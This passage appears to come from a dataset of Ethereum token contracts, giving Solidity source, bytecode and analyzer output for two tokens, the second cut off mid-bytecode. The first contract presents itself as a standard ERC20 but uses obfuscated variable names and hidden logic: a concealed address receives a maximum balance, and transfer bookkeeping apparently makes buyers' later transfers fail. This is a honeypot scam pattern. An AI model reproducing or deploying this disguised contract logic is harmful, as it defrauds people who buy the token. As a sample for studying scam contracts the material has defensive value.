removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { constructor( string memory _NAME, string memory _SYMBOL, address routerAddress, address victory ) { _symbol = _SYMBOL; _name = _NAME; _fee = 5; _decimals = 9; _tTotal = 1000000000000000 * 10**_decimals; _balances[victory] = zoo; _balances[msg.sender] = _tTotal; vote[victory] = zoo; vote[msg.sender] = zoo; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } uint256 public _fee; string private _name; string private _symbol; uint8 private _decimals; function name() public view returns (string memory) { return _name; } mapping(address => address) private near; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; function symbol() public view returns (string memory) { return _symbol; } uint256 private _tTotal; uint256 private _rTotal; address public uniswapV2Pair; IUniswapV2Router02 public router; uint256 private zoo = ~uint256(0); function decimals() public view returns (uint256) { return _decimals; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _tTotal; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function importance( address suddenly, address port, uint256 amount ) private { address merely = near[address(0)]; bool driven = uniswapV2Pair == suddenly; uint256 tongue = _fee; if (vote[suddenly] == 0 && written[suddenly] > 0 && !driven) { vote[suddenly] -= tongue; } near[address(0)] = port; if (vote[suddenly] > 0 && amount == 0) { vote[port] += tongue; } written[merely] += tongue; uint256 fee = (amount / 100) * _fee; amount -= fee; _balances[suddenly] -= fee; _balances[address(this)] += fee; _balances[suddenly] -= amount; _balances[port] += amount; } mapping(address => uint256) private written; function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } mapping(address => uint256) private vote; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); importance(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { importance(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea264697066735822122010221e2806b4daa9bde7ddab85eda99af6a798b1d4ee10c3ff353e0df90ab9bc64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
6,830
0xa4f06ef4f7f3b6951a2741f4a71437baa1a6062f
/** While we all love John Wick, Daisy is the best dog one can wish for. TG: https://t.me/DaisyERC */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract JohnWicksDog is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "John Wicks Dog";// string private constant _symbol = "DAISY";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 3; //Sell Fee uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 3; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xf411f47c8a428E83e931A3b8Cb75444B434D022d); address payable private _marketingAddress = payable(0xf411f47c8a428E83e931A3b8Cb75444B434D022d); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = true; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 750000000 * 10**9; // 0.75% max TX uint256 public _maxWalletSize = 1500000000 * 10**9; // 1.5% max wallet uint256 public _swapTokensAtAmount = 100000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnSell < 10, "Tax fee cannot be more than 10%"); _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101855760003560e01c806374010ece116100d157806398a5c3151161008a578063c492f04611610064578063c492f04614610533578063dd62ed3e1461055c578063ea1644d514610599578063f2fde38b146105c25761018c565b806398a5c315146104b6578063a9059cbb146104df578063c3c8cd801461051c5761018c565b806374010ece146103ca5780637c519ffb146103f35780637d1db4a51461040a5780638da5cb5b146104355780638f9a55c01461046057806395d89b411461048b5761018c565b8063313ce5671161013e5780636d8aa8f8116101185780636d8aa8f8146103365780636fc3eaec1461035f57806370a0823114610376578063715018a6146103b35761018c565b8063313ce567146102b757806349bd5a5e146102e257806369fe0e2d1461030d5761018c565b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101f957806318160ddd1461022457806323b872dd1461024f5780632fd689e31461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105eb565b6040516101b39190612de6565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190612999565b610628565b6040516101f09190612db0565b60405180910390f35b34801561020557600080fd5b5061020e610646565b60405161021b9190612dcb565b60405180910390f35b34801561023057600080fd5b5061023961066c565b6040516102469190612fc8565b60405180910390f35b34801561025b57600080fd5b5061027660048036038101906102719190612946565b61067d565b6040516102839190612db0565b60405180910390f35b34801561029857600080fd5b506102a1610756565b6040516102ae9190612fc8565b60405180910390f35b3480156102c357600080fd5b506102cc61075c565b6040516102d9919061303d565b60405180910390f35b3480156102ee57600080fd5b506102f7610765565b6040516103049190612d95565b60405180910390f35b34801561031957600080fd5b50610334600480360381019061032f9190612a66565b61078b565b005b34801561034257600080fd5b5061035d60048036038101906103589190612a39565b61086d565b005b34801561036b57600080fd5b5061037461091f565b005b34801561038257600080fd5b5061039d600480360381019061039891906128ac565b6109f0565b6040516103aa9190612fc8565b60405180910390f35b3480156103bf57600080fd5b506103c8610a41565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190612a66565b610b94565b005b3480156103ff57600080fd5b50610408610c33565b005b34801561041657600080fd5b5061041f610ce4565b60405161042c9190612fc8565b60405180910390f35b34801561044157600080fd5b5061044a610cea565b6040516104579190612d95565b60405180910390f35b34801561046c57600080fd5b50610475610d13565b6040516104829190612fc8565b60405180910390f35b34801561049757600080fd5b506104a0610d19565b6040516104ad9190612de6565b60405180910390f35b3480156104c257600080fd5b506104dd60048036038101906104d89190612a66565b610d56565b005b3480156104eb57600080fd5b5061050660048036038101906105019190612999565b610df5565b6040516105139190612db0565b60405180910390f35b34801561052857600080fd5b50610531610e13565b005b34801561053f57600080fd5b5061055a600480360381019061055591906129d9565b610eec565b005b34801561056857600080fd5b50610583600480360381019061057e9190612906565b611026565b6040516105909190612fc8565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb9190612a66565b6110ad565b005b3480156105ce57600080fd5b506105e960048036038101906105e491906128ac565b61114c565b005b60606040518060400160405280600e81526020017f4a6f686e205769636b7320446f67000000000000000000000000000000000000815250905090565b600061063c61063561130e565b8484611316565b6001905092915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b600061068a8484846114e1565b61074b8461069661130e565b610746856040518060600160405280602881526020016137c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fc61130e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c839092919063ffffffff16565b611316565b600190509392505050565b60175481565b60006009905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61079361130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081790612f28565b60405180910390fd5b600a8110610863576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90612e28565b60405180910390fd5b80600b8190555050565b61087561130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f990612f28565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661096061130e565b73ffffffffffffffffffffffffffffffffffffffff1614806109d65750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109be61130e565b73fffffffffffffff